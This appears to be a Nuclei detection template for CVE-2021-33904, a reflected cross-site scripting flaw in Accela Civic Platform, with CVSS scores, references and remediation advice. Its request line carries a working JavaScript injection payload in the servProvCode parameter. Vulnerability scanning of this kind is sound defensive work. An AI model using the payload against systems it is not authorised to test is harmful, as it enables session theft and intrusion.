CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
55.6%
Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
id: CVE-2021-33904
info:
name: Accela Civic Platform <=21.1 - Cross-Site Scripting
author: geeknik
severity: medium
description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
reference:
- https://www.exploit-db.com/exploits/49980
- https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
- http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-33904
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-33904
cwe-id: CWE-79
epss-score: 0.00182
epss-percentile: 0.55425
cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: accela
product: civic_platform
tags: cve,cve2021,accela,xss,edb,packetstorm
http:
- method: GET
path:
- "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
- 'servProvCode'
condition: and
- type: status
status:
- 200
# digest: 490a004630440220598ca0ea5a2191920903252d65a78b48659212316cb65eee6ae478d701b4189402203a1af1fd2ed527efa2b5d22b4d5183ea84c0d41b226d4b7f0e76f2c6a9180682:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
55.6%